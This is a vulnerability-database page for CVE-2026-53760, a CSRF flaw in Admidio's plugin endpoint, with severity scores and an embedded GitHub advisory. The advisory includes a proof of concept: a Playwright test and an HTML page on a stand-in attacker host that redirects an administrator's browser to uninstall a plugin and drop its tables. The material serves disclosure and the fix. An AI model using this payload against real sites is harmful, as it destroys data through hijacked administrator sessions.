CVE-2026-53760

mediumpriority · track · 0EPSS 0.002 · 6 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.17% (6th) EPSS
CVSS 5.2 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-28

Admidio is an open-source user management solution. In versions 5.0.11 and prior, the modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. This issue has been patched via commit 056b1bd.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.2
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.2mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:Lsecondary · security-advisories@github.comexploitability 0.9 · impact 4.2
v3.15.2mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:Lsecondary · OSV
v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-hm42-q32m-vj4fAdmidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests2026-07-09ghsa · osvUS

    ## Summary The `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. ## Details `modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`: ```php // modules/plugins.php $mode = admFuncVariableIsValid($_GET, 'mode', 'string'); $pluginName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly. Because the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL. The `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements: ```php // modules/plugins.php - doUninstall() function doUninstall($pluginFolder) { // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql // Contains DROP TABLE statements } ``` ## Proof of Concept The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint: ```javascript // playwright-csrf-poc.js const { test, expect } = require('@playwright/test'); test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => { const context = await browser.newContext(); const page = await context.newPage(); // Step 1: Admin logs in to Admidio await page.goto('https://admidio.example.com/adm_program/system/login.php'); await page.fill('#usr_login_name', 'admin'); await page.fill('#usr_password', 'password'); await page.click('#btn_login'); await page.waitForURL('**/overview.php'); // Step 2: Admin visits attacker-controlled page on different origin // The attacker page contains: // <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script> await page.goto('https://attacker.example.com/csrf.html'); // Step 3: Browser follows redirect with SameSite=Lax cookies // The birthday plugin is uninstalled, its database tables dropped await page.waitForURL('**/plugins.php*'); // Verify the plugin was uninstalled await page.goto('https://admidio.example.com/adm_program/modules/plugins.php'); const content = await page.content(); expect(content).not.toContain('birthday'); }); ``` Simplified attacker page (`csrf.html` hosted on attacker origin): ```html <html> <body> <script> window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday'; </script> </body> </html> ``` When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin. ## Impact An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page. ## Recommended Fix Switch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase. --- *Found by [aisafe.io](https://aisafe.io)*

06

sources

Which sources assert this record, and when.

published 2026-09-04modified 2026-09-09
07

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan